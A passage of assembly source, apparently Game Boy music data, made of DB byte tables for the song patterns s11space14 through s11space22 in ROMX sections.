$0B, $03 DB $93, $02, $A3, $0B, $03, $A3, $02, $A3, $00, $02, $07 SECTION "Ms11spaceP14", ROMX PATTERN_s11space14: DB $0A DB $03, $03, $A0, $01, $00, $18, $05, $00, $01, $22, $89, $05, $01, $01, $14, $76, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03 DB $80, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26 DB $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $A0, $01, $00, $18, $01, $22 DB $89, $12, $62, $01, $14, $7A, $05, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $80, $01, $0C, $18, $01, $24, $89, $0B DB $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C DB $1C, $01, $22, $89, $0B, $01, $27, $85, $11, $CC, $02, $01, $20, $96, $0B, $03, $70, $01, $0E, $18, $01, $1F, $89, $01, $20, $96, $0B, $01, $26, $85, $01, $20 DB $96, $0B, $03, $A0, $01, $00, $18, $01, $22, $89, $01, $20, $32, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $02, $0B, $01, $1F, $85, $0B, $03, $00 DB $01, $0C, $18, $01, $24, $89, $01, $20, $96, $0B, $01, $22, $85, $0B, $01, $1F, $89, $02, $02, $0B, $01, $24, $85, $0B, $01, $27, $89, $11, $4C, $02, $01, $20 DB $32, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $02, $02, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $20, $96, $0B, $01, $27, $85, $0B DB $01, $1F, $89, $02, $02, $02, $2B, $0B, $01, $26, $85, $0B, $01, $24, $54, $01, $22, $89, $11, $5C, $02, $01, $2B, $6E, $02, $A7, $0B, $01, $22, $85, $01, $30 DB $6E, $0B, $01, $24, $89, $01, $33, $6E, $0B, $01, $1F, $85, $01, $32, $6E, $0B, $01, $24, $89, $01, $30, $32, $0B, $01, $22, $85, $01, $2B, $32, $0B, $03, $20 DB $01, $0C, $70, $01, $1F, $89, $01, $27, $32, $0B, $03, $30, $01, $0C, $70, $01, $24, $85, $01, $26, $32, $0B, $03, $40, $01, $0C, $70, $01, $27, $89, $01, $24 DB $32, $0B, $03, $60, $01, $0C, $70, $01, $24, $85, $01, $1F, $32, $0B, $03, $80, $01, $0C, $70, $01, $26, $89, $01, $1B, $32, $0B, $03, $60, $01, $0C, $70, $01 DB $1F, $85, $01, $1A, $32, $0B, $03, $80, $01, $0C, $70, $01, $22, $89, $01, $18, $32, $02, $B7, $0B, $03, $A0, $01, $0C, $70, $01, $27, $85, $01, $13, $32, $02 DB $BB, $0B, $03, $F0, $01, $0C, $70, $01, $1F, $89, $01, $0F, $32, $02, $B7, $0B, $03, $A0, $01, $0C, $70, $01, $26, $85, $01, $0E, $32, $02, $BB, $00, $02, $07 SECTION "Ms11spaceP15", ROMX PATTERN_s11space15: DB $0A DB $03, $03, $F0, $01, $20, $04, $01, $1E, $89, $05, $01, $01, $27, $32, $05, $02, $02, $B7, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B, $01, $1B, $85 DB $0B, $03, $A0, $01, $08, $20, $01, $20, $89, $04, $42, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $03, $23, $02, $0B, $0B, $01, $20, $85, $0B, $03, $90, $01, $08 DB $18, $05, $00, $01, $23, $89, $04, $62, $03, $83, $02, $0B, $0B, $01, $20, $85, $0B, $01, $08, $14, $01, $22, $89, $0B, $01, $1B, $85, $0B, $01, $08, $1C, $01 DB $1E, $89, $10, $26, $02, $2B, $0B, $01, $23, $85, $0B, $03, $80, $01, $16, $18, $01, $1B, $89, $0B, $01, $22, $85, $0B, $03, $F0, $01, $20, $04, $01, $1E, $89 DB $01, $27, $2E, $05, $02, $02, $B7, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B, $01, $1B, $85, $0B, $03, $A0, $01, $08, $20, $01, $20, $89, $04, $42 DB $02, $67, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $10, $26, $03, $33, $02, $0B, $0B, $01, $20, $85, $0B, $03, $90, $01, $08, $18, $05, $00, $01, $23, $89, $11 DB $CC, $02, $01, $27, $32, $03, $83, $02, $0B, $0B, $01, $20, $85, $02, $02, $0B, $01, $08, $14, $01, $22, $89, $01, $27, $36, $0B, $01, $1B, $85, $02, $02, $0B DB $01, $08, $1C, $01, $1E, $89, $01, $27, $3A, $02, $2B, $0B, $01, $23, $85, $0B, $03, $80, $01, $16, $18, $01, $1B, $89, $02, $02, $0B, $01, $22, $85, $0B, $03 DB $F0, $01, $20, $04, $01, $1E, $89, $02, $B7, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B, $01, $1B, $85, $0B, $03, $A0, $01, $08, $20, $01, $20, $89 DB $01, $27, $32, $0B, $01, $1E, $85, $02, $02, $0B, $01, $1B, $89, $01, $27, $36, $03, $23, $02, $0B, $0B, $01, $20, $85, $02, $02, $0B, $03, $90, $01, $08, $18 DB $05, $00, $01, $23, $89, $11, $58, $02, $01, $27, $32, $03, $83, $02, $0B, $0B, $01, $20, $85, $0B, $01, $08, $14, $01, $22, $89, $01, $27, $6E, $0B, $01, $1B DB $85, $0B, $01, $08, $1C, $01, $1E, $89, $01, $27, $2E, $02, $2B, $0B, $01, $23, $85, $0B, $03, $80, $01, $16, $18, $01, $1B, $89, $0B, $01, $22, $85, $0B, $03 DB $F0, $01, $1E, $04, $01, $1E, $89, $11, $CC, $02, $01, $27, $32, $02, $2B, $0B, $01, $1E, $85, $02, $02, $0B, $01, $20, $89, $01, $27, $36, $0B, $01, $1B, $85 DB $02, $02, $0B, $03, $A0, $01, $06, $20, $01, $20, $89, $01, $27, $3A, $02, $67, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $02, $02, $03, $33, $02, $0B, $0B, $01 DB $20, $85, $0B, $03, $90, $01, $1C, $90, $05, $00, $01, $23, $89, $01, $2A, $32, $03, $83, $02, $0B, $0B, $01, $20, $85, $02, $02, $0B, $01, $06, $40, $01, $22 DB $89, $01, $2A, $36, $0B, $01, $1B, $85, $02, $02, $0B, $01, $12, $44, $01, $1E, $89, $01, $2A, $3A, $02, $13, $0B, $01, $23, $85, $0B, $03, $80, $01, $14, $18 DB $01, $1B, $89, $02, $02, $03, $23, $02, $0B, $0B, $01, $22, $85, $03, $43, $02, $0B, $00, $02, $07 SECTION "Ms11spaceP16", ROMX PATTERN_s11space16: DB $0A DB $03, $03, $F0, $01, $24, $04, $05, $00, $01, $22, $89, $05, $01, $01, $2B, $32, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01 DB $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00 DB $18, $05, $00, $01, $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89 DB $10, $26, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $2B DB $2E, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01 DB $22, $85, $0B, $01, $1F, $89, $03, $33, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $11, $CC, $02, $01, $18, $6E, $03 DB $83, $02, $0B, $0B, $01, $24, $85, $01, $1B, $6E, $0B, $01, $0C, $14, $01, $26, $89, $01, $1F, $6E, $0B, $01, $1F, $85, $01, $20, $6E, $0B, $01, $0C, $1C, $01 DB $22, $89, $01, $24, $6E, $02, $2B, $0B, $01, $27, $85, $01, $27, $6E, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $01, $2B, $6E, $0B, $01, $26, $85, $01, $2C DB $6E, $0B, $01, $30, $54, $03, $F1, $01, $08, $3D, $11, $49, $02, $01, $27, $32, $02, $B7, $0C, $02, $2B, $0C, $03, $11, $01, $08, $3D, $02, $02, $0B, $03, $21 DB $01, $08, $3D, $0B, $03, $31, $01, $08, $3D, $01, $27, $96, $0B, $03, $41, $01, $08, $3D, $03, $13, $02, $0B, $0B, $03, $F1, $01, $08, $3D, $01, $27, $32, $03 DB $83, $02, $0B, $0C, $01, $08, $41, $01, $27, $36, $03, $83, $02, $0F, $0C, $01, $08, $45, $01, $27, $3A, $03, $93, $02, $13, $0C, $01, $27, $96, $0C, $02, $01 DB $01, $27, $2E, $02, $A7, $0E, $11, $01, $00, $01, $1D, $90, $03, $F1, $01, $08, $3D, $01, $27, $32, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $1D, $90, $01 DB $08, $3D, $01, $27, $32, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $1D, $90, $01, $08, $3D, $01, $27, $32, $0C, $01, $1A, $98, $01, $08, $41, $01, $27, $36 DB $0C, $01, $11, $9C, $01, $08, $45, $01, $27, $3A, $0C, $01, $27, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP17", ROMX PATTERN_s11space17: DB $0A DB $03, $03, $F0, $01, $24, $04, $01, $22, $89, $05, $01, $01, $2B, $32, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85 DB $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05 DB $00, $01, $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $10, $26 DB $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $2B, $2E, $05 DB $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01, $22, $85 DB $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $11, $CC, $02, $01, $18, $6E, $03, $83, $02 DB $0B, $0B, $01, $24, $85, $01, $1B, $6E, $0B, $01, $0C, $14, $01, $26, $89, $01, $1F, $6E, $0B, $01, $1F, $85, $01, $20, $6E, $0B, $01, $0C, $1C, $01, $22, $89 DB $01, $24, $6E, $02, $2B, $0B, $01, $27, $85, $01, $27, $6E, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $01, $2B, $6E, $0B, $01, $26, $85, $01, $2C, $6E, $0B DB $03, $F0, $01, $24, $04, $01, $22, $89, $11, $CF, $02, $01, $30, $6E, $02, $B7, $0B, $01, $22, $85, $11, $BF, $02, $0B, $01, $24, $89, $11, $AF, $02, $02, $2B DB $0B, $01, $1F, $85, $11, $9F, $02, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $11, $8F, $02, $0B, $01, $22, $85, $11, $7F, $02, $0B, $01, $1F, $89, $11, $6F DB $02, $03, $23, $02, $0B, $0B, $01, $24, $85, $11, $5F, $02, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $11, $4F, $02, $03, $83, $02, $0B, $0B, $01 DB $24, $85, $11, $3F, $02, $0B, $01, $0C, $14, $01, $26, $89, $11, $2F, $02, $0B, $01, $1F, $85, $11, $1F, $02, $0B, $01, $0C, $1C, $01, $22, $89, $11, $0F, $02 DB $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $22, $04, $01, $22, $89, $11, $CF, $02, $01 DB $30, $2E, $02, $B7, $0B, $01, $22, $85, $11, $BF, $02, $0B, $01, $24, $89, $11, $AF, $02, $02, $2B, $0B, $01, $1F, $85, $11, $9F, $02, $0B, $03, $A0, $01, $0A DB $20, $01, $24, $89, $11, $8F, $02, $02, $67, $0B, $01, $22, $85, $11, $7F, $02, $0B, $01, $1F, $89, $11, $6F, $02, $03, $23, $02, $0B, $0B, $01, $26, $98, $05 DB $00, $01, $24, $85, $11, $5F, $02, $0B, $01, $26, $90, $01, $27, $89, $11, $CC, $02, $01, $2E, $32, $03, $83, $02, $0B, $0B, $01, $24, $85, $02, $02, $0B, $01 DB $22, $98, $01, $26, $89, $01, $2E, $36, $0B, $01, $1F, $85, $02, $02, $0B, $01, $1B, $9C, $01, $22, $89, $01, $2E, $3A, $02, $2B, $0B, $01, $27, $85, $0B, $03 DB $80, $01, $0C, $18, $05, $00, $01, $1F, $89, $02, $02, $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP18", ROMX PATTERN_s11space18: DB $0A DB $03, $03, $F0, $01, $24, $04, $01, $22, $89, $05, $01, $11, $5C, $02, $01, $2B, $6E, $02, $B7, $0B, $01, $22, $85, $01, $30, $6E, $0B, $01, $24, $89, $01, $33 DB $6E, $02, $2B, $0B, $01, $1F, $85, $01, $32, $6E, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $01, $30, $6E, $0B, $01, $22, $85, $01, $2B, $6E, $0B, $01, $1F DB $89, $01, $27, $6E, $03, $23, $02, $0B, $0B, $01, $24, $85, $01, $26, $6E, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $01, $24, $2E, $03, $73, $02 DB $0B, $0B, $01, $24, $85, $01, $1F, $2E, $0B, $01, $0C, $14, $01, $26, $89, $01, $1B, $2E, $0B, $01, $1F, $85, $01, $1A, $2E, $0B, $01, $0C, $1C, $01, $22, $89 DB $01, $18, $2E, $02, $2B, $0B, $01, $27, $85, $01, $13, $2E, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $01, $0F, $2E, $0B, $01, $26, $85, $01, $0E, $2E, $0B DB $03, $F0, $01, $24, $04, $01, $22, $89, $01, $24, $2E, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $01, $27, $2E, $02, $2B, $0B, $01, $1F, $85, $0B, $03 DB $A0, $01, $0C, $20, $01, $24, $89, $01, $2B, $2E, $02, $67, $0B, $01, $22, $85, $0B, $01, $1F, $89, $01, $30, $2E, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B DB $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $01, $2B, $2E, $03, $73, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $01, $27, $2E, $0B DB $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $24, $2E, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $01, $27, $2E, $0B DB $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $24, $2E, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $01, $27, $2E, $02, $2B DB $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $01, $2B, $2E, $0B, $01, $22, $85, $0B, $01, $1F, $89, $01, $30, $2E, $03, $23, $02, $0B, $0B DB $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $01, $2B, $2E, $03, $73, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89 DB $01, $27, $2E, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $24, $2E, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89 DB $01, $27, $2E, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $18, $2E, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $01 DB $1B, $2E, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $01, $1F, $2E, $02, $67, $0B, $01, $22, $85, $0B, $01, $1F, $89, $01, $24 DB $2E, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $01, $1F, $2E, $03, $73, $02, $0B, $0B, $01, $24, $85, $0B DB $01, $0C, $14, $01, $26, $89, $01, $1B, $2E, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $18, $2E, $02, $2B, $0B, $01, $27, $85, $0B, $01, $0E DB $18, $01, $1F, $89, $01, $1B, $2E, $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP19", ROMX PATTERN_s11space19: DB $0A DB $03, $03, $F0, $01, $24, $04, $01, $22, $89, $05, $01, $11, $CC, $02, $01, $30, $6E, $02, $B7, $0B, $01, $22, $85, $02, $02, $0B, $01, $24, $89, $01, $30, $2E DB $02, $2B, $0B, $01, $1F, $85, $02, $02, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $01, $30, $6E, $0B, $01, $22, $85, $02, $02, $0B, $01, $1F, $89, $01, $30 DB $2E, $03, $23, $02, $0B, $0B, $01, $24, $85, $02, $02, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $01, $30, $6E, $03, $73, $02, $0B, $0B, $01, $24 DB $85, $02, $02, $0B, $01, $0C, $14, $01, $26, $89, $01, $30, $2E, $0B, $01, $1F, $85, $02, $02, $0B, $01, $0C, $1C, $01, $22, $89, $01, $30, $6E, $02, $2B, $0B DB $01, $27, $85, $02, $02, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $02, $B7, $0B, $01, $22 DB $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23 DB $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $03, $73, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89 DB $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03 DB $F0, $01, $24, $04, $01, $22, $89, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89 DB $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $03, $73, $02, $0B, $0B DB $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E DB $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $01, $14, $2E, $05, $02 DB $02, $2B, $0B, $01, $1F, $85, $0B, $01, $24, $54, $01, $24, $89, $01, $14, $6E, $02, $67, $0B, $01, $22, $85, $0B, $01, $1F, $89, $01, $18, $32, $03, $23, $02 DB $0B, $0B, $01, $24, $85, $0B, $01, $27, $89, $01, $1B, $32, $03, $73, $02, $0B, $0B, $01, $24, $85, $0B, $01, $26, $89, $01, $1D, $32, $0B, $01, $1F, $85, $0B DB $01, $22, $89, $01, $1A, $32, $02, $2B, $0B, $01, $27, $85, $0B, $01, $1F, $89, $01, $16, $32, $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP20", ROMX PATTERN_s11space20: DB $0A DB $03, $03, $F0, $01, $24, $04, $05, $00, $01, $22, $89, $05, $01, $11, $CC, $02, $01, $30, $6E, $02, $B7, $0B, $01, $22, $85, $02, $02, $0B, $01, $24, $89, $01 DB $30, $2E, $02, $2B, $0B, $01, $1F, $85, $02, $02, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $01, $30, $6E, $0B, $01, $22, $85, $02, $02, $0B, $01, $1F, $89 DB $01, $30, $2E, $03, $23, $02, $0B, $0B, $01, $24, $85, $02, $02, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $01, $30, $6E, $03, $73, $02, $0B, $0B DB $01, $24, $85, $02, $02, $0B, $01, $0C, $14, $01, $26, $89, $01, $30, $2E, $0B, $01, $1F, $85, $02, $02, $0B, $01, $0C, $1C, $01, $22, $89, $01, $30, $6E, $02 DB $2B, $0B, $01, $27, $85, $02, $02, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $02, $B7, $0B DB $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01, $22, $85, $0B, $01, $1F, $89 DB $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $03, $73, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01 DB $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85 DB $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01 DB $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $03, $73, $02 DB $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80 DB $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $29, $90, $01, $22, $89, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $01, $14, $2E DB $05, $02, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $24, $90, $01, $24, $89, $01, $14, $6E, $02, $67, $0B, $01, $23, $89, $0B, $01, $22, $89, $01, $18 DB $32, $03, $23, $02, $0B, $0B, $01, $21, $89, $0B, $11, $01, $00, $01, $18, $90, $05, $00, $01, $20, $89, $01, $1B, $32, $03, $73, $02, $0B, $0B, $01, $1F, $89 DB $0B, $01, $0C, $14, $01, $1E, $89, $01, $1D, $32, $0B, $01, $1D, $89, $0B, $01, $11, $90, $01, $1C, $89, $01, $1A, $32, $02, $2B, $0B, $01, $1B, $89, $0B, $01 DB $0E, $18, $01, $1A, $89, $01, $16, $32, $0B, $01, $19, $89, $00, $02, $07 SECTION "Ms11spaceP21", ROMX PATTERN_s11space21: DB $0A DB $03, $03, $F0, $01, $0E, $50, $05, $00, $01, $16, $89, $05, $01, $11, $33, $02, $01, $24, $6E, $02, $B7, $0B, $01, $16, $85, $0B, $01, $18, $89, $11, $44, $02 DB $01, $27, $6E, $02, $2B, $0B, $01, $13, $85, $0B, $03, $10, $01, $24, $70, $01, $18, $89, $11, $55, $02, $01, $2B, $6E, $0B, $01, $16, $85, $0B, $04, $40, $01 DB $13, $89, $11, $33, $02, $01, $30, $6E, $03, $13, $02, $0B, $0B, $01, $18, $85, $0B, $01, $1B, $89, $11, $55, $02, $01, $2B, $2E, $03, $43, $02, $0B, $0B, $01 DB $18, $85, $0B, $01, $1A, $89, $11, $44, $02, $01, $27, $2E, $0B, $01, $13, $85, $0B, $01, $16, $89, $11, $33, $02, $01, $24, $2E, $02, $2B, $0B, $01, $1B, $85 DB $0B, $01, $13, $89, $11, $44, $02, $01, $27, $2E, $0B, $01, $1A, $85, $0B, $01, $16, $89, $01, $18, $2E, $05, $02, $02, $2B, $0B, $01, $16, $85, $0B, $01, $18 DB $89, $01, $1B, $2E, $0B, $01, $13, $85, $0B, $04, $60, $01, $18, $89, $01, $1F, $2E, $02, $67, $0B, $01, $16, $85, $0B, $01, $13, $89, $01, $24, $2E, $03, $13 DB $02, $0B, $0B, $01, $18, $85, $0B, $01, $1B, $89, $01, $1F, $2E, $03, $43, $02, $0B, $0B, $01, $18, $85, $0B, $01, $1A, $89, $01, $1B, $2E, $0B, $01, $13, $85 DB $0B, $01, $16, $89, $01, $18, $2E, $02, $2B, $0B, $01, $1B, $85, $0B, $01, $13, $89, $01, $1B, $2E, $0B, $01, $1A, $85, $0B, $03, $20, $01, $24, $70, $01, $16 DB $89, $11, $CC, $02, $01, $24, $6E, $02, $2B, $0B, $01, $16, $85, $02, $02, $0B, $01, $18, $89, $01, $24, $2E, $0B, $01, $13, $85, $02, $02, $0B, $04, $80, $01 DB $18, $89, $01, $24, $6E, $0B, $01, $16, $85, $02, $02, $0B, $01, $13, $89, $01, $24, $2E, $03, $13, $02, $0B, $0B, $01, $18, $85, $02, $02, $0B, $01, $1B, $89 DB $01, $24, $6E, $03, $43, $02, $0B, $0B, $01, $18, $85, $02, $02, $0B, $01, $1A, $89, $01, $24, $2E, $0B, $01, $13, $85, $02, $02, $0B, $01, $16, $89, $01, $24 DB $6E, $02, $2B, $0B, $01, $1B, $85, $02, $02, $0B, $01, $13, $89, $0B, $01, $1A, $85, $0B, $03, $30, $01, $24, $70, $01, $16, $89, $02, $2B, $0B, $01, $16, $85 DB $0B, $01, $18, $89, $0B, $01, $13, $85, $0B, $04, $A0, $01, $18, $89, $02, $67, $0B, $01, $16, $85, $0B, $01, $13, $89, $03, $13, $02, $0B, $0B, $01, $18, $85 DB $0B, $01, $1B, $89, $03, $43, $02, $0B, $0B, $01, $18, $85, $0B, $01, $1A, $89, $0B, $01, $13, $85, $0B, $01, $16, $89, $02, $2B, $0B, $01, $1B, $85, $0B, $01 DB $13, $89, $0B, $01, $1A, $85, $00, $02, $07 SECTION "Ms11spaceP22", ROMX PATTERN_s11space22: DB $0A DB $03, $04, $F0, $01, $16, $89, $05, $01, $11, $CC, $02, $01, $30, $6E, $02, $2B, $05, $03, $0B, $01, $16, $85, $02, $02, $0B, $01, $18, $89, $01, $30, $2E, $0B DB $01, $13, $85, $02, $02, $0B, $01, $18, $89, $01, $30, $6E, $0B, $01, $16, $85, $02, $02, $0B, $01, $13, $89, $01, $30, $2E, $03, $13, $02, $0B, $0B, $01, $18 DB $85, $02, $02, $0B, $01, $1B, $89, $01, $30, $6E, $03, $43, $02, $0B, $0B, $01, $18, $85, $02, $02, $0B, $01, $1A, $89, $01, $30, $2E, $0B, $01, $13, $85, $02 DB $02, $0B, $01, $16, $89, $01, $30, $6E, $02, $2B, $0B, $01, $1B, $85, $02, $02, $0B, $01, $13, $89, $0B, $01, $1A, $85, $0B, $10, $14, $03, $40, $01, $24, $70 DB $01, $16, $89, $02, $2B, $0B, $01, $16, $85, $0B, $01, $18, $89, $0B, $01, $13, $85, $0B, $01, $18, $89, $02, $67, $0B, $01, $16, $85, $0B, $01, $13, $89, $03 DB $13, $02, $0B, $0B, $01, $18, $85, $0B, $01, $1B, $89, $03, $43, $02, $0B, $0B, $01, $18, $85, $0B, $01, $1A, $89, $0B, $01, $13, $85, $0B, $01, $16, $89, $02 DB $2B, $0B, $01, $1B, $85, $0B, $01, $13, $89, $0B, $01, $1A, $85, $0B, $01, $16, $89, $11, $CC, $02, $01, $30, $6E, $02, $2B, $0B, $01, $16, $85, $02, $02, $0B DB $01, $18, $89, $01, $30, $2E, $0B, $01, $13, $85, $02, $02, $0B, $01, $18, $89, $01, $30, $6E, $0B, $01, $16, $85, $02, $02, $0B, $01, $13, $89, $01, $30, $2E DB $03, $13, $02, $0B, $0B, $01, $18, $85, $02, $02, $0B, $01, $1B, $89, $01, $30, $6E, $03, $43, $02, $0B, $0B, $01, $18, $85, $02, $02, $0B, $01, $1A, $89, $01 DB $30, $2E, $0B, $01, $13, $85, $02, $02, $0B, $01, $16, $89, $01, $30, $6E, $02, $2B, $0B, $01, $1B, $85, $02, $02, $0B, $01, $13, $89, $0B, $01, $1A, $85, $0B DB $01, $30, $54, $05, $00, $01, $16, $89, $02, $A7, $0B, $01, $16, $85, $0B, $01, $18, $89, $01, $14, $2E, $0B, $01, $13, $85, $0B, $01, $18, $89, $01, $14, $6E DB $0B, $01, $19, $89, $0B, $01, $1A, $89, $01, $18, $32, $0B, $01, $1B, $89, $0B, $01, $1C, $89, $01, $1B, $32, $0B, $01, $1D, $89, $0B, $01, $1E, $89, 